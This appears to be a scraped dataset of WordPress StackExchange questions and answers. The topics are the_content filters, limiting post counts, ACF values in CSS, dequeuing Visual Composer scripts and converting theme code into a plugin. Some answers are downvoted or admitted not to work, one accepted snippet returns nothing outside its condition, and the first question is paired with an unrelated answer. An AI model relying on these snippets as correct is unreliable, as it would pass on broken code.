Is it possible to redirect the user to a welcome page after they update the plugin on the WordPress Plugins page? I haven't been able to find the answer to this anywhere!
Many thanks in advance! | **This method doesn't work. I leave this answer only as reference.**
If I understand correctly, the easier way is to check if you are in the main query inside the filter's callback:
```
add_filter( 'the_content', 'cyb_filter_content' );
function cyb_filter_content( $content ) {
if( is_main_query() ) {
// Work with $content here
}
return $content;
}
```
But this **DOESN'T WORK. Why?**
`is_main_query()` does this:
```
function is_main_query() {
global $wp_query;
return $wp_query->is_main_query();
}
```
So, it does not check if the query of the current loop is the main query, it checks if the global `$wp_query` object is the main query; and the global `$wp_query` object **is always the main query** unless it has been modified, which is something, let's say, unusual and often not recommended. So, `is_main_query()` returns `true` almost everywhere and everytime. |
254,980 | <p>I have two different kinds of single posts, blog and products, built in the same way with post categories. The blog has three static categories that the user will use, News, Updates, and Ideas. This is as far as I've gotten in figuring it out:</p>
<pre><code>if (is_single('cat=5')) {
// show sidebar code for cat=5
} else {
// show main sidebar code
}
</code></pre>
| [
{
"answer_id": 254954,
"author": "KAGG Design",
"author_id": 108721,
"author_profile": "https://wordpress.stackexchange.com/users/108721",
"pm_score": 1,
"selected": false,
"text": "<p>This is quite simple, see code below.</p>\n\n<pre><code>add_filter( 'the_content', 'my_the_content_filter' );\nfunction my_the_content_filter( $content ){\n // If it is not page named debug, do nothing\n if( $GLOBALS['post']->post_name != 'debug' )\n return $content;\n\n // do actions...\n $content = 'my super cool new content';\n return $content;\n}\n</code></pre>\n"
},
{
"answer_id": 254955,
"author": "cybmeta",
"author_id": 37428,
"author_profile": "https://wordpress.stackexchange.com/users/37428",
"pm_score": 2,
"selected": false,
"text": "<p><strong>This method doesn't work. I leave this answer only as reference.</strong></p>\n\n<p>If I understand correctly, the easier way is to check if you are in the main query inside the filter's callback:</p>\n\n<pre><code>add_filter( 'the_content', 'cyb_filter_content' );\nfunction cyb_filter_content( $content ) {\n\n if( is_main_query() ) {\n\n // Work with $content here\n\n }\n\n return $content;\n\n}\n</code></pre>\n\n<p>But this <strong>DOESN'T WORK. Why?</strong></p>\n\n<p><code>is_main_query()</code> does this:</p>\n\n<pre><code>function is_main_query() {\n global $wp_query;\n return $wp_query->is_main_query();\n}\n</code></pre>\n\n<p>So, it does not check if the query of the current loop is the main query, it checks if the global <code>$wp_query</code> object is the main query; and the global <code>$wp_query</code> object <strong>is always the main query</strong> unless it has been modified, which is something, let's say, unusual and often not recommended. So, <code>is_main_query()</code> returns <code>true</code> almost everywhere and everytime.</p>\n"
},
{
"answer_id": 254958,
"author": "T.Todua",
"author_id": 33667,
"author_profile": "https://wordpress.stackexchange.com/users/33667",
"pm_score": 2,
"selected": false,
"text": "<p>Found solution <a href=\"https://wordpress.stackexchange.com/a/162787/33667\">here</a>, to use <code>in_the_loop()</code> (but read comment below my answer too):</p>\n\n<pre><code>add_filter( 'the_content', 'custom_content' );\n\nfunction custom_content( $content ) {\n if ( in_the_loop() ) {\n // ....\n }\n return $content;\n}\n</code></pre>\n"
},
{
"answer_id": 255048,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 0,
"selected": false,
"text": "<p>This is probably an impossible task. <code>the_content</code> and its friend <code>the_excerpt</code> lack context and it is just impossible to guess the context from looking at the various global variables as they might have been altered.</p>\n\n<p>Some themes provide actions to indicate that they are starting to output the post content but this is far from being standard.</p>\n\n<p>The only way to work with it is to assume other plugin and theme developers are smart and don't use <code>the_content</code> for anything which do not actually display the post content. (far fetched assumption)</p>\n"
},
{
"answer_id": 255864,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 1,
"selected": false,
"text": "<h2>Problem</h2>\n\n<p>Hooking into <code>the_content</code> does not guarantee that we're in the loop.</p>\n\n<h2>Solution</h2>\n\n<p>Hook into <code>pre_get_posts</code> to exclude certain queries. Hook into the loop via <code>the_post</code> before hooking <code>the_content</code>.</p>\n\n<h2>Details</h2>\n\n<p>Add action to <code>pre_get_posts</code> to specifically see if the page is singular.</p>\n\n<pre><code>add_action( 'pre_get_posts', 'wpse_106269_pre_get_posts', 10, 1 );\nfunction wpse_106269_pre_get_posts( $query ) {\n if( is_singular() ) {\n add_action( 'the_post', 'wpse_106269_the_post', 10, 2 );\n }\n}\n</code></pre>\n\n<p>Add an action to <code>the_post</code>. This action hook is fired for each post when we're in <a href=\"https://codex.wordpress.org/The_Loop\" rel=\"nofollow noreferrer\"><code>the loop</code></a>. Once we're in <code>the_post</code>, we know that we're in the loop, so we can add a filter to <code>the_content</code>.</p>\n\n<pre><code>function wpse_106269_the_post( $post, $query ) {\n remove_action( 'the_post', 'wpse_106269_the_post', 10, 2 ); \n add_filter( 'the_content', 'wpse_106269_the_content', 10, 1 );\n}\n</code></pre>\n\n<p>To make sure that <code>the_content</code> filter is only fired in <code>the_post</code>, remove it so that it doesn't get fired in the future unless it's added again by <code>the_post</code> action hook.</p>\n\n<pre><code>function wpse_106269_the_content( $content ) {\n remove_filter( 'the_content', 'wpse_106269_the_content', 10, 1 );\n //* Do something with $content\n return $content;\n}\n</code></pre>\n"
}
]
| 2017/02/03 | [
"https://wordpress.stackexchange.com/questions/254980",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112410/"
]
| I have two different kinds of single posts, blog and products, built in the same way with post categories. The blog has three static categories that the user will use, News, Updates, and Ideas. This is as far as I've gotten in figuring it out:
```
if (is_single('cat=5')) {
// show sidebar code for cat=5
} else {
// show main sidebar code
}
``` | **This method doesn't work. I leave this answer only as reference.**
If I understand correctly, the easier way is to check if you are in the main query inside the filter's callback:
```
add_filter( 'the_content', 'cyb_filter_content' );
function cyb_filter_content( $content ) {
if( is_main_query() ) {
// Work with $content here
}
return $content;
}
```
But this **DOESN'T WORK. Why?**
`is_main_query()` does this:
```
function is_main_query() {
global $wp_query;
return $wp_query->is_main_query();
}
```
So, it does not check if the query of the current loop is the main query, it checks if the global `$wp_query` object is the main query; and the global `$wp_query` object **is always the main query** unless it has been modified, which is something, let's say, unusual and often not recommended. So, `is_main_query()` returns `true` almost everywhere and everytime. |
254,989 | <p>I want to show 5 posts per page but limit total number of posts being resulted in a loop.</p>
<pre><code>$args = array(
'post_type' => 'post',
'posts_per_page' => 5,
'paged' => $paged
);
</code></pre>
<p>Suppose, I have 100 posts and the above query args will display 5 posts per page and I can see 20 pages. So, how can I limit the total number of posts being resulted so that in my condition it would only show 3 pages? I'm not needing exactly 3 pages to show but wanted to limit the total post like 25 posts, 23 posts. So, if I wanted to limit 12 posts then I can see 5 posts on first page, 5 posts on second page and remaining 2 posts on last page.</p>
| [
{
"answer_id": 254991,
"author": "Anand",
"author_id": 112423,
"author_profile": "https://wordpress.stackexchange.com/users/112423",
"pm_score": -1,
"selected": false,
"text": "<p>You can set the post limit in two ways:</p>\n\n<pre><code>1) wp-admin > Settings > Reading\n\n2) By passing the argument query 'numberposts' => 5\n</code></pre>\n"
},
{
"answer_id": 254992,
"author": "Milo",
"author_id": 4771,
"author_profile": "https://wordpress.stackexchange.com/users/4771",
"pm_score": 1,
"selected": false,
"text": "<p>You can use the <a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/found_posts\" rel=\"nofollow noreferrer\"><code>found_posts</code> filter</a> to alter the number of posts WordPress reports finding from a query.</p>\n\n<pre><code>add_filter( 'found_posts', 'wpd_found_posts', 10, 2 );\nfunction wpd_found_posts( $found_posts, $query ) {\n if ( $query->is_home() && $query->is_main_query() ) {\n return 25;\n }\n}\n</code></pre>\n"
},
{
"answer_id": 254994,
"author": "Gonzoarte",
"author_id": 112419,
"author_profile": "https://wordpress.stackexchange.com/users/112419",
"pm_score": -1,
"selected": false,
"text": "<p>Use the <strong>'numberposts'</strong> parameter...</p>\n\n<pre><code>$args = array(\n'post_type' => 'post',\n'numberposts' => 25,\n'posts_per_page' => 5,\n'paged' => $paged\n);\n</code></pre>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/get_posts/#user-contributed-notes\" rel=\"nofollow noreferrer\">Exemple at the Developer's Codex</a></p>\n"
},
{
"answer_id": 254995,
"author": "Gonzoarte",
"author_id": 112419,
"author_profile": "https://wordpress.stackexchange.com/users/112419",
"pm_score": 0,
"selected": false,
"text": "<p>Use the <code>post_limits</code> hook with a priority of 2...</p>\n\n<pre><code>function my_posts_limit( $limit, $query ) {\n return 'LIMIT 0, 25';\n}\nadd_filter( 'post_limits', 'my_posts_limit', 10, 2 );\n</code></pre>\n"
},
{
"answer_id": 295933,
"author": "Ravi Patel",
"author_id": 35477,
"author_profile": "https://wordpress.stackexchange.com/users/35477",
"pm_score": 0,
"selected": false,
"text": "<p><a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/post_limits\" rel=\"nofollow noreferrer\">post_limits</a></p>\n\n<pre><code>/**\n * Limit the main query search results to 25.\n *\n * We only want to filter the limit on the front end of the site, so we use\n * is_admin() to check that we aren't on the admin side.\n *\n * We also only want to filter the main query, so we check that this is it\n * with $query->is_main_query().\n *\n * Finally, we only want to change the limit for searches, so we check that\n * this query is a search with $query->is_search().\n *\n * @see http://codex.wordpress.org/Plugin_API/Filter_Reference/post_limits\n * \n * @param string $limit The 'LIMIT' clause for the query.\n * @param object $query The current query object.\n *\n * @return string The filtered LIMIT.\n */\nfunction wpcodex_filter_main_search_post_limits( $limit, $query ) {\n\n if ( ! is_admin() && $query->is_main_query() && ($query->is_search() || $query->is_home()) ){\n return 'LIMIT 0, 25';\n }\n\n return $limit;\n}\nadd_filter( 'post_limits', 'wpcodex_filter_main_search_post_limits', 10, 2 );\n</code></pre>\n"
}
]
| 2017/02/03 | [
"https://wordpress.stackexchange.com/questions/254989",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112421/"
]
| I want to show 5 posts per page but limit total number of posts being resulted in a loop.
```
$args = array(
'post_type' => 'post',
'posts_per_page' => 5,
'paged' => $paged
);
```
Suppose, I have 100 posts and the above query args will display 5 posts per page and I can see 20 pages. So, how can I limit the total number of posts being resulted so that in my condition it would only show 3 pages? I'm not needing exactly 3 pages to show but wanted to limit the total post like 25 posts, 23 posts. So, if I wanted to limit 12 posts then I can see 5 posts on first page, 5 posts on second page and remaining 2 posts on last page. | You can use the [`found_posts` filter](https://codex.wordpress.org/Plugin_API/Filter_Reference/found_posts) to alter the number of posts WordPress reports finding from a query.
```
add_filter( 'found_posts', 'wpd_found_posts', 10, 2 );
function wpd_found_posts( $found_posts, $query ) {
if ( $query->is_home() && $query->is_main_query() ) {
return 25;
}
}
``` |
255,045 | <p>I am using an <code>:after</code> pseudo selector to place some text after an element on my page. I would like for this text to be content managed using Advanced Custom Fields, but I am not able to get it to work. Here is my code:</p>
<pre><code><style>
.hc-copy:after {
content:"<?php the_field('hero_paragraph'); ?>";
display:block;
}
</style>
</code></pre>
<p>When the PHP is parsed, the <code>content</code> property is just empty on the page. Is this possible?</p>
| [
{
"answer_id": 255060,
"author": "Anwer AR",
"author_id": 83820,
"author_profile": "https://wordpress.stackexchange.com/users/83820",
"pm_score": 0,
"selected": false,
"text": "<p>If that piece of css is in any php file then it should work as you expect. so double check your ACF Field and make sure the field name is correct and some value is set.</p>\n"
},
{
"answer_id": 255099,
"author": "hrk",
"author_id": 16777,
"author_profile": "https://wordpress.stackexchange.com/users/16777",
"pm_score": 1,
"selected": false,
"text": "<p>To make sure your fields are populated use the following code to print all the values that are set:</p>\n\n<pre><code><?php\nvar_dump( get_fields() );\n?>\n</code></pre>\n\n<p>The 'hero_paragraph' key should be present somewhere in the printed values.</p>\n"
}
]
| 2017/02/03 | [
"https://wordpress.stackexchange.com/questions/255045",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/38829/"
]
| I am using an `:after` pseudo selector to place some text after an element on my page. I would like for this text to be content managed using Advanced Custom Fields, but I am not able to get it to work. Here is my code:
```
<style>
.hc-copy:after {
content:"<?php the_field('hero_paragraph'); ?>";
display:block;
}
</style>
```
When the PHP is parsed, the `content` property is just empty on the page. Is this possible? | To make sure your fields are populated use the following code to print all the values that are set:
```
<?php
var_dump( get_fields() );
?>
```
The 'hero\_paragraph' key should be present somewhere in the printed values. |
255,071 | <p>I have a Wordpress theme (the7) that includes the Visual Composer plugin. This is good for my clients editing stuff in the back end, but it also adds unnecessary CSS and JS to every page load on the front end. How can I remove these?</p>
<p>The lines it adds are:</p>
<pre><code><link rel='stylesheet' id='js_composer_front-css' href='[domain]/wp-content/plugins/js_composer/assets/css/js_composer.min.css?ver=5.0.1' type='text/css' media='all' />
<script type='text/javascript' src='[domain]/wp-content/plugins/js_composer/assets/js/dist/js_composer_front.min.js?ver=5.0.1'></script>
</code></pre>
<p>I found <a href="https://wordpress.stackexchange.com/questions/695/restricting-a-plugin-to-only-load-its-css-and-js-on-selected-pages">this question</a> which gives a possible method, but I can't get it to work.</p>
<p>I tracked down where the specific CSS file is loaded from, it's in a class Vc_Base in this function:</p>
<pre><code>public function enqueueStyle() {
$post = get_post();
if ( $post && preg_match( '/vc_row/', $post->post_content ) ) {
wp_enqueue_style( 'js_composer_front' );
}
wp_enqueue_style( 'js_composer_custom_css' );
}
</code></pre>
<p>So I set up this in my functions.php:</p>
<pre><code>function inf_remove_junk()
{
wp_dequeue_style('js_composer_front');
wp_dequeue_style('js_composer_custom_css');
wp_dequeue_script('wpb_composer_front_js');
// also tried this
remove_action('wp_enqueue_scripts', array('Vc_Base', 'enqueueStyle'));
}
if (!is_admin()) {
add_action('wp_head', 'inf_remove_junk');
}
</code></pre>
<p>The <code>inf_remove_junk</code> function definitely executes, but it doesn't remove the CSS. Does it need to hook into a different point or do something else?</p>
| [
{
"answer_id": 255084,
"author": "maheshwaghmare",
"author_id": 52167,
"author_profile": "https://wordpress.stackexchange.com/users/52167",
"pm_score": 2,
"selected": false,
"text": "<p>You need to use action <code>wp_enqueue_scripts</code> except <code>wp_head</code> like:</p>\n\n<pre><code>function inf_remove_junk() {\n if (!is_admin()) {\n wp_dequeue_style('js_composer_front');\n wp_dequeue_style('js_composer_custom_css');\n wp_dequeue_script('wpb_composer_front_js');\n }\n\n}\n\nadd_action( 'wp_enqueue_scripts', 'inf_remove_junk' );\n</code></pre>\n\n<p>But it remove the scripts from front end.</p>\n\n<ol>\n<li><p>I think on archive pages VC does not execute it's shortcode. So you can check is_archive() condition instead of is_admin().</p></li>\n<li><p>Or you can check the shortcode from content and remove assets like:</p>\n\n<p>function inf_remove_junk() {</p>\n\n<pre><code>// 1. Check shortcode exist in post content and disable scripts.\n global $post;\n if ( stripos($post->post_content, '[YOUR_SHORTCODE]') ) {\n\n// or\n\n// 2. Disable scripts on all pages except single page, post, custom Post etc.\n\n if ( ! singular() ) {\n\n// or\n\n// 3. Disable on archive, 404 and search page\n if ( is_archive() || is_404() || is_search() ) {\n wp_dequeue_style('js_composer_front');\n wp_dequeue_style('js_composer_custom_css');\n wp_dequeue_script('wpb_composer_front_js');\n } \n</code></pre>\n\n<p>}\n add_action( 'wp_enqueue_scripts', 'inf_remove_junk' );</p></li>\n</ol>\n\n<p><em>Also, For premium plugin support you need to contact plugin author for better answer.</em></p>\n"
},
{
"answer_id": 255105,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 0,
"selected": false,
"text": "<p>You need to make sure you dequeue scripts and styles <em>after</em> they are enqueued. Otherwise your code will appear to not be doing anything. In actuality, it is dequeueing the script properly, but it's being added again later.</p>\n\n<p>You don't say what hook they're being enqueued on, but if it's <code>wp_enqueue_scripts</code> at the default priority, this should work by dequeueing them at a lower priority.</p>\n\n<pre><code>//* Dequeue scripts and styles\nfunction wpse_106269_wp_enqueue_scripts() {\n wp_dequeue_style( 'js_composer_front' );\n wp_dequeue_style( 'js_composer_custom_css' );\n wp_dequeue_script( 'wpb_composer_front_js' );\n}\n\n//* Make sure we dequeue scripts and styles after they are enqueued\nfunction wpse_106269_wp_head() {\n add_action( 'wp_enqueue_scripts', 'wpse_106269_wp_enqueue_scripts', 20 );\n}\n\n//* wp_head is only fired on public pages\nadd_action( 'wp_head', 'wpse_106269_wp_head');\n</code></pre>\n"
},
{
"answer_id": 359603,
"author": "com.on.ist",
"author_id": 183441,
"author_profile": "https://wordpress.stackexchange.com/users/183441",
"pm_score": 1,
"selected": false,
"text": "<p>I use WPBakery, but only with my own elements, so I wanted to remove exactly the same scripts/styles.</p>\n\n<p>The solution of @maheshwaghmare only moved the scripts/styles to an other place for me.</p>\n\n<p>With \"wp_deregister_style\" and \"wp_deregister_script\" it worked then:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>// Remove WPB CSS & JS on frontend\nfunction remove_wpb_js_css() {\n if (!is_admin()) {\n wp_dequeue_style('js_composer_front');\n wp_deregister_style('js_composer_front');\n wp_dequeue_script('wpb_composer_front_js');\n wp_deregister_script('wpb_composer_front_js');\n }\n}\nadd_action( 'wp_enqueue_scripts', 'remove_wpb_js_css', 99 );\n</code></pre>\n"
}
]
| 2017/02/03 | [
"https://wordpress.stackexchange.com/questions/255071",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/5445/"
]
| I have a Wordpress theme (the7) that includes the Visual Composer plugin. This is good for my clients editing stuff in the back end, but it also adds unnecessary CSS and JS to every page load on the front end. How can I remove these?
The lines it adds are:
```
<link rel='stylesheet' id='js_composer_front-css' href='[domain]/wp-content/plugins/js_composer/assets/css/js_composer.min.css?ver=5.0.1' type='text/css' media='all' />
<script type='text/javascript' src='[domain]/wp-content/plugins/js_composer/assets/js/dist/js_composer_front.min.js?ver=5.0.1'></script>
```
I found [this question](https://wordpress.stackexchange.com/questions/695/restricting-a-plugin-to-only-load-its-css-and-js-on-selected-pages) which gives a possible method, but I can't get it to work.
I tracked down where the specific CSS file is loaded from, it's in a class Vc\_Base in this function:
```
public function enqueueStyle() {
$post = get_post();
if ( $post && preg_match( '/vc_row/', $post->post_content ) ) {
wp_enqueue_style( 'js_composer_front' );
}
wp_enqueue_style( 'js_composer_custom_css' );
}
```
So I set up this in my functions.php:
```
function inf_remove_junk()
{
wp_dequeue_style('js_composer_front');
wp_dequeue_style('js_composer_custom_css');
wp_dequeue_script('wpb_composer_front_js');
// also tried this
remove_action('wp_enqueue_scripts', array('Vc_Base', 'enqueueStyle'));
}
if (!is_admin()) {
add_action('wp_head', 'inf_remove_junk');
}
```
The `inf_remove_junk` function definitely executes, but it doesn't remove the CSS. Does it need to hook into a different point or do something else? | You need to use action `wp_enqueue_scripts` except `wp_head` like:
```
function inf_remove_junk() {
if (!is_admin()) {
wp_dequeue_style('js_composer_front');
wp_dequeue_style('js_composer_custom_css');
wp_dequeue_script('wpb_composer_front_js');
}
}
add_action( 'wp_enqueue_scripts', 'inf_remove_junk' );
```
But it remove the scripts from front end.
1. I think on archive pages VC does not execute it's shortcode. So you can check is\_archive() condition instead of is\_admin().
2. Or you can check the shortcode from content and remove assets like:
function inf\_remove\_junk() {
```
// 1. Check shortcode exist in post content and disable scripts.
global $post;
if ( stripos($post->post_content, '[YOUR_SHORTCODE]') ) {
// or
// 2. Disable scripts on all pages except single page, post, custom Post etc.
if ( ! singular() ) {
// or
// 3. Disable on archive, 404 and search page
if ( is_archive() || is_404() || is_search() ) {
wp_dequeue_style('js_composer_front');
wp_dequeue_style('js_composer_custom_css');
wp_dequeue_script('wpb_composer_front_js');
}
```
}
add\_action( 'wp\_enqueue\_scripts', 'inf\_remove\_junk' );
*Also, For premium plugin support you need to contact plugin author for better answer.* |
255,077 | <p>I've developed some functionality for a company website around job postings. There is a custom post type, with specialized fields, and a widget that displays a summary of current job postings. It's 5 functions and a widget class that was hobbled together from various websites etc and dumped into functions.php. It works. </p>
<p>Now I would like to extract it to a plugin but my understanding is weak... My first attempt was to just dump it into a php file with a header, but that threw a bunch of errors when I tried to activate it. Then I put all of the function hooks into the activation hook for the plugin - which doesn't throw any errors, but doesn't seem to do anything either.</p>
<pre><code><?php
/**
* Plugin Name: My Careers Plugin
* Description: This plugin adds a Careers Post Type and careers summary widget .
* Version: 1.0.0
* Author: Marc Pelletier
*/
// Exit if accessed directly
if ( !defined( 'ABSPATH' ) ) exit;
function activate_my_careers() {
add_action( 'init', 'create_career_posttype');
add_action( 'admin_bar_menu', 'add_careers_to_admin_bar', 1000000);
add_action( 'add_meta_boxes', 'add_careers_meta_box' );
add_action( 'save_post', 'save_careers_meta_box' );
register_widget('CurrentJobs_Widget');
}
register_activation_hook( __FILE__, 'activate_my_careers' );
function create_career_posttype() {
$args = array(
'labels' => array(
'name' => __('Careers'),
'singular_name' => __('Careers'),
'all_items' => __('All Job Postings'),
'add_new_item' => __('Add New Job Posting'),
'edit_item' => __('Edit Job Posting'),
'view_item' => __('View Job Posting')
),
'public' => true,
'has_archive' => true,
'rewrite' => array('slug' => 'careers'),
'show_ui' => true,
'show_in_menu' => true,
'show_in_nav_menus' => true,
'show_in_admin_bar' => true,
'capability_type' => 'post',
'supports' => array('title', 'editor', 'thumbnail'),
'exclude_from_search' => true,
'menu_position' => 6,
'has_archive' => true,
'menu_icon' => 'dashicons-universal-access'
);
register_post_type('careers', $args);
}
function add_careers_to_admin_bar($wp_admin_bar){
$wp_admin_bar->add_node(
array(
'title' => '<span class="dashicons-before dashicons-universal-access" >Careers</span>'
)
);
$wp_admin_bar->add_node(
array(
'parent' => 'careers',
'title' => 'All Job Postings',
'href' => get_admin_url().'edit.php?post_type=careers'
)
);
$wp_admin_bar->add_node(
array(
'parent' => 'careers',
'title' => 'New Job Posting',
'href' => get_admin_url().'post-new.php?post_type=careers'
)
);
}
function add_careers_meta_box(){
add_meta_box( 'job-details', 'Job Details', 'careers_meta_box_cb', 'Careers', 'normal', 'default');
}
function careers_meta_box_cb($post){
$Post_ID = get_post_custom( $post->ID );
$salary = isset( $Post_ID['salary'] ) ? esc_attr( $Post_ID['salary'][0] ) : "";
$salary_unit = isset( $Post_ID['salary_unit'] ) ? esc_attr( $Post_ID['salary_unit'][0] ) : "hr";
$qualifications = isset( $Post_ID['qualifications'] ) ? esc_attr( $Post_ID['qualifications'][0] ) : "";
//echo $qualifications;
$desirables = isset( $Post_ID['desirables'] ) ? esc_attr( $Post_ID['desirables'][0] ) : "";
//echo $desirables;
wp_nonce_field( 'job_details_nonce_action', 'job_details_nonce' );
$html = '';
$html .= '<label class="h2">Salary</label>';
$html .= '<input type="number" step="0.05" name="salary" id="salary" style="margin-top:15px; margin-left:9px; margin-bottom:10px;" value="'. $salary .'" />';
$html .= '<label> / </label>';
$html .= '<input type="text" list=salary_units name="salary_unit" id="salary_unit" style="margin-left:9px; margin-top:15px;" value="'. $salary_unit .'" /></br>';
$html .= '<datalist id=salary_units><option>hr<option>day<option>month<option>annum</datalist>';
$html .= '<label class="h2"> <strong>Required </strong>Qualifications (one per line) </label></br>';
$html .= '<textarea name="qualifications" id="qualifications" cols="80" rows="5" style="margin-left:9px; margin-top:15px";>'.$qualifications.'</textarea></br>';
$html .= '<label class="h2">Additional Qualifications (one per line) </label></br>';
$html .= '<textarea name="desirables" id="desirables" cols="80" rows="5" style="margin-left:9px; margin-top:15px";>'.$desirables.'</textarea></br>';
echo $html;
}
function save_careers_meta_box($post_id){
// Bail if we're doing an auto save
if( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return;
// if our nonce isn't there, or we can't verify it, bail
if( !isset( $_POST['job_details_nonce'] ) || !wp_verify_nonce( $_POST['job_details_nonce'], 'job_details_nonce_action' ) ) return;
// if our current user can't edit this post, bail
if( !current_user_can( 'edit_post' ) ) return;
if(isset( $_POST['salary'] ) )
update_post_meta( $post_id, 'salary', $_POST['salary']);
if(isset( $_POST['salary_unit'] ) )
update_post_meta( $post_id, 'salary_unit', $_POST['salary_unit']);
if(isset( $_POST['qualifications'] ) )
update_post_meta( $post_id, 'qualifications', $_POST['qualifications']);
if(isset( $_POST['desirables'] ) )
update_post_meta( $post_id, 'desirables', $_POST['desirables']);
}
class CurrentJobs_Widget extends WP_Widget{
function __construct() {
parent::__construct(
'currentjobs_widget', // Base ID
'Current Jobs Widget', // Name
array('description' => __( 'Displays your latest listings. Outputs the title and expiry per listing'))
);
}
function update($new_instance, $old_instance) {
$instance = $old_instance;
$instance['title'] = strip_tags($new_instance['title']);
$instance['numberOfListings'] = strip_tags($new_instance['numberOfListings']);
return $instance;
}
function form($instance) {
if( $instance) {
$title = esc_attr($instance['title']);
$numberOfListings = esc_attr($instance['numberOfListings']);
} else {
$title = '';
$numberOfListings = '';
}
?>
<p>
<label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title', 'currentjobs_widget'); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('numberOfListings'); ?>"><?php _e('Number of Listings:', 'currentjobs_widget'); ?></label>
<select id="<?php echo $this->get_field_id('numberOfListings'); ?>" name="<?php echo $this->get_field_name('numberOfListings'); ?>">
<?php for($x=1;$x<=10;$x++): ?>
<option <?php echo $x == $numberOfListings ? 'selected="selected"' : '';?> value="<?php echo $x;?>"><?php echo $x; ?></option>
<?php endfor;?>
</select>
</p>
<?php
}
function widget($args, $instance) {
extract( $args );
$title = apply_filters('widget_title', $instance['title']);
$numberOfListings = $instance['numberOfListings'];
echo $before_widget;
if ( $title ) {
echo $before_title . $title . $after_title;
}
$this->getJobListings($numberOfListings);
echo $after_widget;
}
function getJobListings($numberOfListings) { //html
global $post;
$listings = new WP_Query();
$listings->query('post_type=careers&posts_per_page=' . $numberOfListings );
if($listings->found_posts > 0) {
echo '<ul class="currentjobs_widget">';
while ($listings->have_posts()) {
$listings->the_post();
$listItem = '<li>' . $image;
$listItem .= '<a href="' . get_permalink() . '">';
$listItem .= get_the_title() . '</a></br>';
$listItem .= '<span>Added ' . get_the_date() . '</span></li>';
echo $listItem;
}
echo '</ul>';
wp_reset_postdata();
}else{
echo '<p style="padding:25px;">No postings found</p>';
}
}
} //end class CurrentJobs_Widget
</code></pre>
<p>Suggestions for further reading are great.</p>
| [
{
"answer_id": 255079,
"author": "maheshwaghmare",
"author_id": 52167,
"author_profile": "https://wordpress.stackexchange.com/users/52167",
"pm_score": 0,
"selected": false,
"text": "<p>You can use:</p>\n\n<pre><code>function activate_my_careers() {\n add_action( 'init', 'create_career_posttype');\n add_action( 'admin_bar_menu', 'add_careers_to_admin_bar', 1000000);\n add_action( 'add_meta_boxes', 'add_careers_meta_box' );\n add_action( 'save_post', 'save_careers_meta_box' );\n register_widget('CurrentJobs_Widget'); }\n}\n\nregister_activation_hook( __FILE__, 'activate_my_careers' );\n</code></pre>\n\n<hr>\n\n<p>Where your other functions are defined?</p>\n"
},
{
"answer_id": 255081,
"author": "Anwer AR",
"author_id": 83820,
"author_profile": "https://wordpress.stackexchange.com/users/83820",
"pm_score": 1,
"selected": false,
"text": "<p>don't wrap <code>actions</code> and <code>register_widget</code> inside the function <code>activate_my_careers</code> but if you do so then also hook this function with one of the hooks. like <code>init</code>, <code>admin_init</code></p>\n\n<pre><code>add_action( 'init', 'activate_my_careers' );\n</code></pre>\n\n<p>or use plugin activation hook. like</p>\n\n<pre><code>register_activation_hook( __FILE__, 'activate_my_careers' );\n</code></pre>\n\n<p>for example</p>\n\n<pre><code>function activate_my_careers() {\n add_action( 'init', 'create_career_posttype');\n add_action( 'admin_bar_menu', 'add_careers_to_admin_bar', 1000000);\n add_action( 'add_meta_boxes', 'add_careers_meta_box' );\n add_action( 'save_post', 'save_careers_meta_box' );\n register_widget('CurrentJobs_Widget');\n}\n</code></pre>\n"
},
{
"answer_id": 255085,
"author": "Gonzoarte",
"author_id": 112419,
"author_profile": "https://wordpress.stackexchange.com/users/112419",
"pm_score": 0,
"selected": false,
"text": "<p>You also need to refer or include all your callbacks (create_career_posttype, add_careers_to_admin_bar, etc)... </p>\n\n<pre><code>function create_career_posttype() {\n //code\n }\nfunction add_careers_to_admin_bar() {\n //code\n }\nfunction add_careers_meta_box() {\n //code\n }\nfunction save_careers_meta_box() {\n //code\n }\nregister_activation_hook( __FILE__, 'activate_my_careers' ); //\n</code></pre>\n"
},
{
"answer_id": 255112,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 3,
"selected": true,
"text": "<p>If all you want is for your plugin to work, simply</p>\n\n<p>replace</p>\n\n<pre><code>register_activation_hook( __FILE__, 'activate_my_careers' );\n</code></pre>\n\n<p>with</p>\n\n<pre><code>add_action( 'plugins_loaded', 'activate_my_careers' );\n</code></pre>\n\n<p>If you want to understand why your new plugin isn't working, then you need to understand WordPress hooks. I would encourage you to carefully read the <a href=\"https://codex.wordpress.org/Plugin_API/\" rel=\"nofollow noreferrer\">WordPress Plugin API</a>.</p>\n\n<p>The first hook available to (non- must-use) plugins is <code>plugins_loaded</code>. When I write plugins, the only thing I put into the main plugin file are adding actions to the activation, deactivation, and plugins_loaded hooks.</p>\n\n<p>The function/method called by the plugins_loaded hook should load your plugin by adding actions and filters to other hooks. By using hooks you allow yourself and other plugins the option of removing those hooks before they fire. This makes your plugin extensible.</p>\n\n<p>The key is to know which hooks fire when and to add functions/methods to specific hooks that only get fired when you want the function/method to be available.</p>\n\n<p>So for your example, the only action we want to add when the main plugin file is included is a hook for plugins_loaded. The callback for that hook will then add the other actions needed for your plugin to work.</p>\n\n<p>The reason your plugin isn't working is because the activation hook is only fired immediately after a plugin is activated. Once the plugin is activated, the only other hook called is shutdown before you're redirected to another page. From then on, the activation hook doesn't fire and since it doesn't none of your other actions will fire either.</p>\n"
}
]
| 2017/02/03 | [
